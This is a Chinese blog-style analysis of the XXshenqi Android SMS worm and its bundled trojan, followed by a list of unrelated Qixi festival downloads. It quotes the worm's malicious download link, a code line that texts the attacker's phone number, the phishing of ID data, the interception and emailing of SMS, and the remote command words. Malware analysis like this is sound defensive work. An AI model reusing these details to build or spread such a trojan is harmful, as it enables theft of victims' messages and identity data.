0×00
今天从余弦大大微博上看到了这款Android短信蠕虫的信息,于是自己下载了一款研究,看到网上很多报告的md5值不同,不知道是否是变种。接下来就分析一下,这款病毒究竟做了些什么。
0×01
病毒分为两个部分,一个是XXshenqi.apk,另一个是com.android.Trogoogle.apk。后者存在于前者解压文件下的assets目录中。首先,分析XXshenqi.apk,安装至虚拟机上运行。
0. 首先,在初始安装后,用户点击app,会出现安装另外一个apk的信息:
- 入口Activity是WelcomeActivity,在这个Activity中,首先获取手机中所有的联系人信息,然后群发一条短信,内容如下:
[联系人姓名] + “看这个,” +”http://cdn.yyupload.com/down/4279193/XXshenqi.apk”
骗取本机联系人点击恶意链接下载病毒进行传播。
发送成功后,执行:
SmsManager.getDefault().sendTextMessage(“18670259904″, null, “XXshenqi 群发链接OK”, null, null);
即向这个号码反馈执行信息。
2. 开启一个MainActivity
在这个Activity中,安装一个com.example.com.android.trogoogle的文件,这个文件存在于xxshenqi.apk解压后文件的assets目录下。
安装木马后,会自动隐藏图标。
同时弹出一个登录框,只不过这个是个幌子,怎么输入都会出现密码错误或者账户不存在,将用户导入到一个注册页面:RegisterActivity中
3. RegisterActivity真的是注册页面吗?
在这个页面中,会让用户输入很多信息,比如身份证号以及姓名。
如果点击了注册按钮那么很不幸,你的信息就会发送到黑客的手机上。
至此,xxshenqi.apk的任务基本是完成了,即使用户卸载也无所谓,因为木马已经在刚开始就被释放了。
0×02
1. 在入口Activity—–MainActivity中木马执行了隐藏图标的功能,随后打开了一个ListenMessageService的服务,在后台运行。
2. ListenMessageService这个服务里面,首先注册一个短信数据库的观察者,检测短信数据库的变化,一旦用户的短信数据库发生变化(收到信息或者更新信息),那么观察者就会执行回调函数执行,首先判断是否是命令短信,命令短信是用来向木马发送命令的。如果是平常的短信,就将截获的短信全部发往黑客手中,值得注意的是木马还判断短信是否是淘宝发送的短信,如果是的话就单独处理。
并且木马中还有发送伪造短信给用户的功能,如果是这种短信,木马就不会截获或者发送给黑客。
这里还存在的恶意行为是读取用户收件发件箱短信,以及手机中的联系人。
当截获完短信之后,木马就又开启了一个MySendEmailService服务。
3. MySendEmailService这个服务就是给黑客发送电子邮件。
这上面都是一些用到的发送信息包括主机,端口,账户名,密码(有密码哦~)。。。
4. 定义广播接收者处理接收的命令BroadcastRecvMessage
BroadcastRecvMessage这个类继承了系统的BroadcastReceiver组件,一旦接收到短信,就会触发代码,并判断指令所要求木马执行的具体功能。
readmessage 发送邮件命令
sendmessage发送短信命令
test测试命令
makemessage伪造短信命令
sendlink发送连接的命令
当然,这里也做了具体处理,就是判断是否是普通短信和淘宝网购信息,如果是淘宝信息就加上一个Flag发送,简直碉堡。
0×03
至此,这款病毒究竟做了些啥就基本清楚了,所做的操作也是一般短信木马的常有功能,包括截获短信并发送,发送恶意链接进行传播(冒充联系人发送,更有迷惑性),支持接收指令,以及发送恶意伪造的短信给用户(冒充联系人发送,更有迷惑性)等行为,还是比较歹毒的。
Android系统具有优美的开放性的同时,同样也遭受着各种病毒的侵袭。面对这些病毒,最好的办法还是不要去一些不正规的应用市场下载,并且注意安装时认清权限,如果有可以的权限如:读取系统日志,那么就不要轻易下载。
相关推荐
七夕宣传活动标语集锦xx.doc
XX大学生七夕活动方案.docx
XX大学生七夕活动策划方案.docx
七夕七夕HTML5游戏源码,运行需要服务器环境,已经反复测试,放心使用。
精美的网页加上动听的音乐效果是程序员七夕告白的绝佳神器。里面包含了十三个源代码。第一个是计算你和另一半在一起的时间。只需要改动源码里面的起始时间就可以实现你想要的结果。怎么改动起始时间和怎么将音乐改成...
旋转的齿轮拼成的爱心,爱心、浪花、KISS小情侣,每个人都拥有自己的七夕,浪漫七夕炫美动画,中国情人节七夕节动态ppt模板。
牵牛在河西,织女处河东,万古永相望,七夕谁见同,七月七日牛郎会织女,爱在七夕,中国七夕情人节ppt动态贺卡ppt模板。
七夕献礼:如何利用数据分析找到女朋友-.docx
2020年七夕节到了,送给心上的人,送给方怡的女生,去打动她,送给每一个女生,七夕节快乐,七夕统计报告。
营销策划 -2021城市七夕汉服文化节“古荥汉韵 夜“惠”七夕”活动策划方案【七夕】.pptx
一款七夕海报一款七夕海报一款七夕海报一款七夕海报一款七夕海报一款七夕海报一款七夕海报一款七夕海报
七夕表白网页制作教程
七夕节、情人节表白用的HTML源码(两款)
今天你最大!奉上我的爱!!内容是程序员表白的一种高大上的方式,用自己的专业技术来给自己心爱的那个人,留一份美好。用代码爱表达我对你的爱
七夕节表白网站源码资源七夕节表白网站源码资源七夕节表白网站源码资源七夕节表白网站源码资源七夕节表白网站源码资源七夕节表白网站源码资源七夕节表白网站源码资源
[许愿灯(幼儿园七夕教案)]幼儿园七夕活动.pdf
七夕会员管理系统软件免费使用 淮安七夕软件有限公司
七夕玫瑰花.exe
2012最新七夕情人节祝福源码,可以填写好友的名子,有七夕情人节祝福音乐播放。可以自己修改。清白版,无广告。
七夕情人玫瑰花,exe小程序。